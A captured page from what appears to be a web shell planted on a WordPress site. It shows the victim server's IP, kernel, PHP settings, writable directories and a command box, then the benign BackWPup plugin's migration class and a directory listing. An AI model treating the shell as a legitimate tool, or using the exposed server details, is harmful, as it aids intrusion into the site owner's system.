GRAYBYTE WORDPRESS FILE MANAGER2010

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/inc/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/backwpup/inc//class-migrate.php
<?php

class BackWPup_Migrate {
	/**
	 * Main migration method to handle multiple version upgrades.
	 *
	 * @return void
	 */
	public static function migrate() {
		$old_version = get_site_option( 'backwpup_version', '0.0.0' );
		$new_version = BackWPup::get_plugin_data( 'Version' );

		// Refresh Welcome Notice for update > 5.1.0.
		self::maybe_refresh_welcome_notice( $old_version, $new_version, '5.1.0' );

		if ( self::should_migrate( $old_version, $new_version ) ) {
			$jobs = get_option( 'backwpup_jobs', [] );
			if ( empty( $jobs ) ) {
				self::redirect_to_onboarding();
				return;
			}
			// Filter out jobs with 'cron' set.
			$cron_jobs    = array_filter( $jobs, fn( $job ) => isset( $job['cron'] ) );
			$jobs_by_type = self::organize_jobs_by_type( $cron_jobs );
			if ( self::has_multiple_jobs_of_any_type( $jobs_by_type ) ) {
				self::redirect_to_onboarding( $jobs );
				return;
			} elseif ( ! empty( $jobs ) ) { // Jobs are existing but not set with cron.
				self::set_jobs_legacy( $jobs, true );
			}
			$jobs = get_option( 'backwpup_jobs', [] );
			self::convert_jobs( $jobs_by_type );
		}

		self::migration_50_51( $old_version, $new_version );
	}

	/**
	 * Determines if the welcome notice should be refreshed based on version changes.
	 *
	 * This method compares the current version of the plugin with the target version.
	 * If the current version is greater than or equal to the target version, it removes
	 * the site option for the welcome notice, effectively refreshing it.
	 *
	 * @param string $old_version The previous version of the plugin.
	 * @param string $new_version The current version of the plugin.
	 * @param string $target_version The version that triggers the welcome notice refresh.
	 */
	private static function maybe_refresh_welcome_notice( string $old_version, string $new_version, string $target_version ): void {
		if ( $new_version === $old_version || ! version_compare( $new_version, $target_version, '>=' ) ) {
			return;
		}

		delete_site_option( 'backwpup_dinotopt_informations_505_notice' );
	}

	/**
	 * Determine if a migration is needed.
	 *
	 * This method checks if the plugin needs to migrate from a version older than 5.0.0 to 5.0.0 or newer.
	 * It also checks if the necessary options for the migration exist.
	 *
	 * @param string $old_version The old version of the plugin.
	 * @param string $new_version The new version of the plugin.
	 *
	 * @return bool True if migration is needed, false otherwise.
	 */
	public static function should_migrate( $old_version, $new_version ) {
		$version_migrate = version_compare( $old_version, '5.0.0', '<' ) && version_compare( $new_version, '5.0.0', '>=' );
		$options_exists  = get_site_option( 'backwpup_backup_files_job_id', false ) && get_site_option( 'backwpup_backup_database_job_id', false );
		return $version_migrate && ! $options_exists;
	}

	/**
	 * Redirect to the onboarding page.
	 *
	 * This method sets the `backwpup_onboarding` option to true to redirect the user to the onboarding page.
	 *
	 * @param array $jobs List of existing jobs to add legacy param.
	 *
	 * @return void
	 */
	private static function redirect_to_onboarding( array $jobs = [] ) {
		update_site_option( 'backwpup_onboarding', true );
		if ( ! empty( $jobs ) ) {
			foreach ( $jobs as $job ) {
				if ( isset( $job['jobid'] ) ) {
					BackWPup_Option::update( $job['jobid'], 'legacy', true );
				}
			}
		}
	}

	/**
	 * Organize jobs by type.
	 *
	 * This method organizes the jobs by type: files, database, or both.
	 *
	 * @param array $jobs The jobs to organize.
	 *
	 * @return array The organized jobs.
	 */
	private static function organize_jobs_by_type( array $jobs ): array {
		$job_types          = [
			'files'    => [],
			'database' => [],
			'both'     => [],
		];
		$type_both_template = BackWPup_JobTypes::$type_job_both;
		sort( $type_both_template );

		foreach ( $jobs as $job ) {
			$type = $job['type'];
			sort( $type );

			if ( BackWPup_JobTypes::$type_job_files === $type || [ 'FILE' ] === $type ) {
				$job_types['files'][] = $job;
			} elseif ( BackWPup_JobTypes::$type_job_database === $type ) {
				$job_types['database'][] = $job;
			} elseif ( $type === $type_both_template ) {
				$job['type']         = BackWPup_JobTypes::$type_job_both;
				$job_types['both'][] = $job;
			}
		}

		return $job_types;
	}

	/**
	 * Check if there are multiple jobs of any type.
	 *
	 * This method checks if there are multiple jobs of any type.
	 *
	 * @param array $jobs_by_type The jobs organized by type.
	 *
	 * @return bool True if there are multiple jobs of any type, false otherwise.
	 */
	private static function has_multiple_jobs_of_any_type( array $jobs_by_type ): bool {
		foreach ( $jobs_by_type as $jobs ) {
			if ( count( $jobs ) > 1 ) {
				return true;
			}
		}
		return false;
	}

	/**
	 * Convert jobs to the new structure.
	 *
	 * This method converts the jobs to the new structure.
	 *
	 * @param array $jobs_by_type The jobs organized by type.
	 *
	 * @return void
	 */
	private static function convert_jobs( array $jobs_by_type ) {
		update_site_option( 'backwpup_onboarding', false );
		$default_id_job_files    = get_site_option( 'backwpup_backup_files_job_id', BackWPup_Option::next_job_id() );
		$default_id_job_database = (int) $default_id_job_files + 1;
		update_site_option( 'backwpup_backup_files_job_id', $default_id_job_files );
		update_site_option( 'backwpup_backup_database_job_id', $default_id_job_database );

		$created_job = [
			'files'    => false,
			'database' => false,
		];

		// ✅ Remove all 'both' jobs.
		foreach ( $jobs_by_type['both'] as $both_job ) {
			BackWPup_Option::update( $both_job['jobid'], 'legacy', true );
		}

		// ✅ Handle FILES job.
		if ( count( $jobs_by_type['files'] ) === 1 ) {
			self::handle_single_job(
				$jobs_by_type['files'][0],
				$default_id_job_files,
				'files',
				BackWPup_JobTypes::$name_job_files
			);
			BackWPup_Option::update( $default_id_job_files, 'type', BackWPup_JobTypes::$type_job_files );
			$created_job['files'] = true;
			BackWPup_Option::update( $default_id_job_files, 'legacy', false );
			update_site_option( 'backwpup_backup_files_job_id', $default_id_job_files );
		}

		// ✅ Handle DATABASE job.
		if ( count( $jobs_by_type['database'] ) === 1 ) {
			self::handle_single_job(
				$jobs_by_type['database'][0],
				$default_id_job_database,
				'database',
				BackWPup_JobTypes::$name_job_database
			);
			BackWPup_Option::update( $default_id_job_database, 'type', BackWPup_JobTypes::$type_job_database );
			$created_job['database'] = true;
			BackWPup_Option::update( $default_id_job_database, 'legacy', false );
			update_site_option( 'backwpup_backup_database_job_id', $default_id_job_database );
		}

		// ✅ Ensure both jobs exist by duplicating if needed.
		if ( $created_job['database'] && ! $created_job['files'] ) {
			$duplicated_id = BackWPup_Job::duplicate_job( $default_id_job_database );
			BackWPup_Option::update_job_id( $duplicated_id, $default_id_job_files );
			BackWPup_Job::rename_job( $default_id_job_files, BackWPup_JobTypes::$name_job_files );
			BackWPup_Option::update( $default_id_job_files, 'type', BackWPup_JobTypes::$type_job_files );
			BackWPup_Job::disable_job( $default_id_job_files );
			BackWPup_Option::update_job_id( $default_id_job_database, $default_id_job_files + 1 );
			update_site_option( 'backwpup_backup_files_job_id', $default_id_job_files );
			BackWPup_Option::update( $default_id_job_files, 'legacy', false );
			$created_job['files'] = true;
		}

		if ( $created_job['files'] && ! $created_job['database'] ) {
			$duplicated_id = BackWPup_Job::duplicate_job( $default_id_job_files );
			BackWPup_Option::update_job_id( $duplicated_id, $default_id_job_database );
			BackWPup_Job::rename_job( $default_id_job_database, BackWPup_JobTypes::$name_job_database );
			BackWPup_Option::update( $default_id_job_database, 'type', BackWPup_JobTypes::$type_job_database );
			BackWPup_Job::disable_job( $default_id_job_database );
			update_site_option( 'backwpup_backup_database_job_id', $default_id_job_database );
			BackWPup_Option::update( $default_id_job_database, 'legacy', false );
			$created_job['database'] = true;
		}
	}


	/**
	 * Handle single job.
	 *
	 * This method handles a single job.
	 *
	 * @param array  $job The job to handle.
	 * @param int    $default_id The default job ID.
	 * @param string $type The type of job.
	 * @param string $name The name of the job.
	 *
	 * @return void
	 */
	private static function handle_single_job( array $job, int $default_id, string $type, string $name ) {
		BackWPup_Option::update_job_id( $job['jobid'], $default_id );
		BackWPup_Option::update( $default_id, 'cron', $job['cron'] );
		update_site_option( "backwpup_backup_{$type}_job_id", $default_id );
		BackWPup_Job::rename_job( $default_id, $name );
		BackWPup_Job::enable_job( $default_id );
		BackWPup_Job::schedule_job( $default_id );
	}

	/**
	 * Migration logic for upgrading from BackWPup 5.0.x to 5.1.0+
	 *
	 * This method handles the migration process for updating the plugin from version 5.0.x to 5.1.0.
	 * It updates job options and marks the migration as complete.
	 *
	 * @param string $old_version The old version of the plugin.
	 * @param string $new_version The new version of the plugin.
	 *
	 * @return void
	 */
	public static function migration_50_51( $old_version, $new_version ) {
		if ( version_compare( $old_version, '5.1.0', '<' ) && version_compare( $new_version, '5.1.0', '>=' ) ) {
			$default_50_file_job = get_site_option( 'backwpup_backup_files_job_id', 1 );
			$default_50_db_job   = $default_50_file_job + 1;
			if ( get_site_option( 'backwpup_backup_database_job_id', 2 ) === $default_50_file_job ) {
				update_site_option( 'backwpup_backup_database_job_id', $default_50_db_job );
			}

			$file_job = BackWPup_Option::get_job( $default_50_file_job );
			$db_job   = BackWPup_Option::get_job( $default_50_db_job );
			if ( false === $file_job && false === $db_job ) {
				$default_jobs = BackWPup_Option::get_default_jobs();
				$jobs         = BackWPup_Job::get_jobs();
				$jobs         = array_merge( $default_jobs, $jobs );
				update_site_option( 'backwpup_jobs', $jobs );
			}
			$job_ids = BackWPup_Option::get_job_ids();
			foreach ( $job_ids as $id ) {
				if ( (int) $id === (int) $default_50_file_job || (int) $id === (int) $default_50_db_job ) {
					BackWPup_Option::update( $id, 'legacy', false );
				} else {
					BackWPup_Option::update( $id, 'legacy', true );
				}
			}
		}
	}

	/**
	 * Set legacy jobs.
	 *
	 * This method sets the legacy flag for jobs.
	 *
	 * @param array $jobs The jobs to set legacy for.
	 * @param bool  $legacy The legacy flag.
	 *
	 * @return void
	 */
	private static function set_jobs_legacy( array $jobs, bool $legacy = false ) {
		foreach ( $jobs as $job ) {
			if ( isset( $job['jobid'] ) ) {
				BackWPup_Option::update( $job['jobid'], 'legacy', $legacy );
			}
		}
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:29
giriqfky / giriqfky
0755
Notice
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
Settings
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
ThirdParty
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
Utils
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
dependencies
--
July 10 2025 04:32:37
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:37
giriqfky / giriqfky
0644
BackWPup.php
11.618 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-admin.php
44.521 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-adminbar.php
2.676 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-create-archive-exception.php
0.148 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-create-archive.php
27.247 KB
March 10 2025 14:47:06
giriqfky / giriqfky
0644
class-cron.php
18.585 KB
April 29 2025 17:34:12
giriqfky / giriqfky
0644
class-destination-connect-exception.php
0.218 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-connect-interface.php
0.647 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-download-exception.php
0.202 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-downloader-data.php
1.223 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-downloader-factory.php
1.629 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-downloader-interface.php
0.52 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-downloader.php
5.126 KB
June 04 2024 10:51:14
giriqfky / giriqfky
0644
class-destination-dropbox-api-exception.php
0.129 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-dropbox-api-request-exception.php
0.595 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-dropbox-api.php
40.892 KB
February 13 2025 20:02:44
giriqfky / giriqfky
0644
class-destination-dropbox-downloader.php
2.907 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-destination-dropbox.php
21.399 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-destination-email.php
19.876 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-destination-folder-downloader.php
3.488 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-folder.php
10.113 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-destination-ftp-connect.php
5.373 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-ftp-downloader.php
3.351 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-ftp.php
29.519 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-destination-msazure-downloader.php
3.369 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-msazure.php
26.319 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
class-destination-rsc.php
22.318 KB
March 21 2025 15:27:30
giriqfky / giriqfky
0644
class-destination-s3-downloader.php
3.298 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-destination-s3.php
48.635 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-destination-sugarsync.php
38.054 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
class-destinations.php
6.154 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-directory.php
6.025 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-download-file-interface.php
0.609 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-download-file.php
3.406 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-download-handler.php
1.956 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-easycron.php
8.057 KB
October 01 2024 16:10:48
giriqfky / giriqfky
0644
class-encryption-fallback.php
2.875 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-encryption-mcrypt.php
4.014 KB
March 03 2025 19:19:24
giriqfky / giriqfky
0644
class-encryption-openssl.php
3.925 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-encryption.php
6.265 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-factory-exception.php
0.191 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-file.php
10.787 KB
March 13 2025 16:05:40
giriqfky / giriqfky
0644
class-help.php
1.745 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-install.php
18.464 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-job.php
105.758 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-jobtype-dbcheck.php
6.386 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-jobtype-dbdump.php
11.304 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-jobtype-file.php
24.155 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-jobtype-wpexp.php
34.94 KB
March 13 2025 16:05:40
giriqfky / giriqfky
0644
class-jobtype-wpplugin.php
6.864 KB
March 03 2025 19:19:24
giriqfky / giriqfky
0644
class-jobtypes.php
2.25 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-message-box.php
3.464 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-migrate.php
10.691 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-msazure-destination-configuration.php
1.597 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-mysqldump.php
34.067 KB
June 19 2024 12:40:40
giriqfky / giriqfky
0644
class-option.php
18.498 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-page-about.php
27.481 KB
June 19 2024 12:40:40
giriqfky / giriqfky
0644
class-page-backups.php
20.81 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-page-backwpup.php
21.946 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-page-editjob.php
47.442 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-page-firstbackup.php
0.556 KB
February 04 2025 14:50:44
giriqfky / giriqfky
0644
class-page-jobs.php
44.727 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-page-logs.php
13.824 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
class-page-onboarding.php
6.948 KB
May 20 2025 11:41:24
giriqfky / giriqfky
0644
class-page-restore.php
5.368 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-page-settings.php
45.41 KB
April 07 2025 18:31:08
giriqfky / giriqfky
0644
class-path-fixer.php
0.815 KB
October 18 2023 17:06:40
giriqfky / giriqfky
0644
class-recursive-directory.php
0.573 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-s3-destination.php
11.986 KB
March 13 2025 16:05:40
giriqfky / giriqfky
0644
class-sanitize-path.php
1.547 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-system-requirements.php
1.231 KB
October 01 2024 16:10:48
giriqfky / giriqfky
0644
class-system-tests-runner.php
9.5 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-system-tests.php
3.469 KB
November 16 2022 17:55:50
giriqfky / giriqfky
0644
class-thirdparties.php
1.023 KB
June 19 2024 12:40:40
giriqfky / giriqfky
0644
class-wp-api.php
43.999 KB
April 29 2025 17:34:12
giriqfky / giriqfky
0644
class-wp-cli.php
11.83 KB
April 23 2025 14:14:02
giriqfky / giriqfky
0644
functions.php
5.883 KB
April 30 2025 17:12:56
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF